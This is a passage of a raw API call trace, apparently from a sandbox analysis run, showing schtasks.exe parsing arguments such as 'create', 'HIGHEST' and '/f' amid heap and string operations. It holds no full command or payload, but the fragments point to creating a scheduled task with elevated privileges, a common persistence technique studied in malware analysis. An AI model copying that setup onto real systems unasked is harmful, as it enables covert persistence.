(HeapHandle=0x1b207920000, Flags=0xc, Size=0x8) returned 0x1b20792bdc0 [0115.912] GetProcessHeap () returned 0x1b207920000 [0115.912] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bab0 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.912] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] lstrlenW (lpString="HIGHEST") returned 7 [0115.913] lstrlenW (lpString="-/") returned 2 [0115.913] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] lstrlenW (lpString="HIGHEST") returned 7 [0115.913] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] lstrlenW (lpString="HIGHEST") returned 7 [0115.913] GetProcessHeap () returned 0x1b207920000 [0115.913] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x10) returned 0x1b20792a930 [0115.913] GetProcessHeap () returned 0x1b207920000 [0115.913] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792ba50 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.913] lstrlenW (lpString="/f") returned 2 [0115.913] lstrlenW (lpString="-/") returned 2 [0115.913] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.913] lstrlenW (lpString="?") returned 1 [0115.913] lstrlenW (lpString="?") returned 1 [0115.913] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.913] lstrlenW (lpString="f") returned 1 [0115.913] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.913] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|?|") returned 3 [0115.913] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.914] lstrlenW (lpString="|?|") returned 3 [0115.914] lstrlenW (lpString="|f|") returned 3 [0115.914] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0115.914] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.914] lstrlenW (lpString="create") returned 6 [0115.914] lstrlenW (lpString="create") returned 6 [0115.914] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.914] lstrlenW (lpString="f") returned 1 [0115.914] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.914] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|create|") returned 8 [0115.914] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.914] lstrlenW (lpString="|create|") returned 8 [0115.914] lstrlenW (lpString="|f|") returned 3 [0115.914] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0115.914] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.914] lstrlenW (lpString="delete") returned 6 [0115.914] lstrlenW (lpString="delete") returned 6 [0115.914] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.914] lstrlenW (lpString="f") returned 1 [0115.914] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.914] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|delete|") returned 8 [0115.914] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.914] lstrlenW (lpString="|delete|") returned 8 [0115.914] lstrlenW (lpString="|f|") returned 3 [0115.914] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0115.914] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.914] lstrlenW (lpString="query") returned 5 [0115.915] lstrlenW (lpString="query") returned 5 [0115.915] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.915] lstrlenW (lpString="f") returned 1 [0115.915] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.915] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x8, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|query|") returned 7 [0115.915] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.915] lstrlenW (lpString="|query|") returned 7 [0115.915] lstrlenW (lpString="|f|") returned 3 [0115.915] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0115.915] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.915] lstrlenW (lpString="change") returned 6 [0115.915] lstrlenW (lpString="change") returned 6 [0115.915] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.915] lstrlenW (lpString="f") returned 1 [0115.915] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.915] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|change|") returned 8 [0115.915] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.915] lstrlenW (lpString="|change|") returned 8 [0115.915] lstrlenW (lpString="|f|") returned 3 [0115.915] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0115.915] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.915] lstrlenW (lpString="run") returned 3 [0115.915] lstrlenW (lpString="run") returned 3 [0115.915] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.915] lstrlenW (lpString="f") returned 1 [0115.915] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|run|") returned 5 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.916] lstrlenW (lpString="|run|") returned 5 [0115.916] lstrlenW (lpString="|f|") returned 3 [0115.916] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0115.916] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.916] lstrlenW (lpString="end") returned 3 [0115.916] lstrlenW (lpString="end") returned 3 [0115.916] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.916] lstrlenW (lpString="f") returned 1 [0115.916] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|end|") returned 5 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.916] lstrlenW (lpString="|end|") returned 5 [0115.916] lstrlenW (lpString="|f|") returned 3 [0115.916] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0115.916] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.916] lstrlenW (lpString="showsid") returned 7 [0115.916] lstrlenW (lpString="showsid") returned 7 [0115.916] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.916] lstrlenW (lpString="f") returned 1 [0115.916] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0xa, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|showsid|") returned 9 [0115.916] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07f578 | out: _Buffer="|f|") returned 3 [0115.916] lstrlenW (lpString="|showsid|") returned 9 [0115.917] lstrlenW (lpString="|f|") returned 3 [0115.917] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] lstrlenW (lpString="/f") returned 2 [0115.917] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] lstrlenW (lpString="/f") returned 2 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x6) returned 0x1b20792bde0 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bb10 [0115.917] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079243e0) returned 1 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079243e0) returned 0x8 [0115.917] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079243e0) returned 1 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b420) returned 1 [0115.917] GetProcessHeap () returned 0x1b207920000 [0115.917] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b420) returned 0x20 [0115.918] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b420) returned 1 [0115.918] GetProcessHeap () returned 0x1b207920000 [0115.918] GetProcessHeap () returned 0x1b207920000 [0116.018] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924760) returned 1 [0116.018] GetProcessHeap () returned 0x1b207920000 [0116.018] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924760) returned 0x12 [0116.018] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924760) returned 1 [0116.018] GetProcessHeap () returned 0x1b207920000 [0116.018] GetProcessHeap () returned 0x1b207920000 [0116.018] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b960) returned 1 [0116.018] GetProcessHeap () returned 0x1b207920000 [0116.018] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b960) returned 0x20 [0116.019] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b960) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924780) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924780) returned 0x8 [0116.019] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924780) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bae0) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bae0) returned 0x20 [0116.019] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bae0) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079247a0) returned 1 [0116.019] GetProcessHeap () returned 0x1b207920000 [0116.019] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079247a0) returned 0xe [0116.019] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079247a0) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b570) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b570) returned 0x20 [0116.020] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b570) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079247c0) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079247c0) returned 0x8 [0116.020] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079247c0) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b3f0) returned 1 [0116.020] GetProcessHeap () returned 0x1b207920000 [0116.020] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b3f0) returned 0x20 [0116.021] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b3f0) returned 1 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079247e0) returned 1 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079247e0) returned 0x6 [0116.021] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079247e0) returned 1 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b5a0) returned 1 [0116.021] GetProcessHeap () returned 0x1b207920000 [0116.021] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b5a0) returned 0x20 [0116.021] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b5a0) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924800) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924800) returned 0x8 [0116.022] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924800) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b8d0) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b8d0) returned 0x20 [0116.022] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b8d0) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207923c60) returned 1 [0116.022] GetProcessHeap () returned 0x1b207920000 [0116.022] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207923c60) returned 0x9a [0116.023] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207923c60) returned 1 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b5d0) returned 1 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b5d0) returned 0x20 [0116.023] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b5d0) returned 1 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bdc0) returned 1 [0116.023] GetProcessHeap () returned 0x1b207920000 [0116.023] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bdc0) returned 0x8 [0116.023] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bdc0) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bab0) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bab0) returned 0x20 [0116.024] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bab0) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a930) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792a930) returned 0x10 [0116.024] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792a930) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ba50) returned 1 [0116.024] GetProcessHeap () returned 0x1b207920000 [0116.024] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ba50) returned 0x20 [0116.025] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ba50) returned 1 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bde0) returned 1 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bde0) returned 0x6 [0116.025] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bde0) returned 1 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bb10) returned 1 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.025] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bb10) returned 0x20 [0116.025] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bb10) returned 1 [0116.025] GetProcessHeap () returned 0x1b207920000 [0116.026] GetProcessHeap () returned 0x1b207920000 [0116.026] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924f00) returned 1 [0116.026] GetProcessHeap () returned 0x1b207920000 [0116.026] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924f00) returned 0x18 [0116.026] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924f00) returned 1 [0116.026] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.026] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0116.026] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0116.026] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0116.026] RtlVerifyVersionInfo (VersionInfo=0x99ba07c510, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0116.026] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.026] lstrlenW (lpString="create") returned 6 [0116.026] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0116.026] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.026] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.026] lstrlenW (lpString="create") returned 6 [0116.026] GetProcessHeap () returned 0x1b207920000 [0116.027] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b780 [0116.027] GetProcessHeap () returned 0x1b207920000 [0116.027] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b20792ab10 [0116.027] _memicmp (_Buf1=0x1b20792ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.027] GetProcessHeap () returned 0x1b207920000 [0116.027] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x16) returned 0x1b20792acb0 [0116.027] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.027] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.027] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1b207929b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0116.027] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x99ba07c668 | out: lpdwHandle=0x99ba07c668) returned 0x76c [0116.027] GetProcessHeap () returned 0x1b207920000 [0116.027] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x776) returned 0x1b20792bdc0 [0116.078] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1b20792bdc0 | out: lpData=0x1b20792bdc0) returned 1 [0116.079] VerQueryValueW (in: pBlock=0x1b20792bdc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x99ba07c600, puLen=0x99ba07c660 | out: lplpBuffer=0x99ba07c600*=0x1b20792c170, puLen=0x99ba07c660) returned 1 [0116.079] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.079] _vsnwprintf (in: _Buffer=0x1b207929b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x99ba07c5d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0116.079] VerQueryValueW (in: pBlock=0x1b20792bdc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x99ba07c5f0, puLen=0x99ba07c658 | out: lplpBuffer=0x99ba07c5f0*=0x1b20792bfa0, puLen=0x99ba07c658) returned 1 [0116.079] lstrlenW (lpString="schtasks.exe") returned 12 [0116.079] lstrlenW (lpString="schtasks.exe") returned 12 [0116.079] lstrlenW (lpString=".EXE") returned 4 [0116.079] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0116.079] lstrlenW (lpString="schtasks.exe") returned 12 [0116.079] lstrlenW (lpString=".EXE") returned 4 [0116.079] lstrlenW (lpString="schtasks") returned 8 [0116.079] lstrlenW (lpString="/create") returned 7 [0116.079] _memicmp (_Buf1=0x1b207924ca0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.079] _vsnwprintf (in: _Buffer=0x1b207929b80, _BufferCount=0x19, _Format="%s %s", _ArgList=0x99ba07c5d8 | out: _Buffer="schtasks /create") returned 16 [0116.079] _memicmp (_Buf1=0x1b207924cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.079] GetProcessHeap () returned 0x1b207920000 [0116.079] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b810 [0116.079] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.079] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0116.079] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0116.079] GetProcessHeap () returned 0x1b207920000 [0116.080] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x30) returned 0x1b207923c60 [0116.080] _vsnwprintf (in: _Buffer=0x1b2079238e0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x99ba07c5d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0116.080] GetProcessHeap () returned 0x1b207920000 [0116.080] GetProcessHeap () returned 0x1b207920000 [0116.080] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bdc0) returned 1 [0116.080] GetProcessHeap () returned 0x1b207920000 [0116.080] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bdc0) returned 0x776 [0116.080] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bdc0) returned 1 [0116.080] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.080] GetThreadLocale () returned 0x409 [0116.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.080] lstrlenW (lpString="create") returned 6 [0116.080] GetThreadLocale () returned 0x409 [0116.080] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="?") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="s") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="u") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="p") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="ru") returned 2 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="rp") returned 2 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, 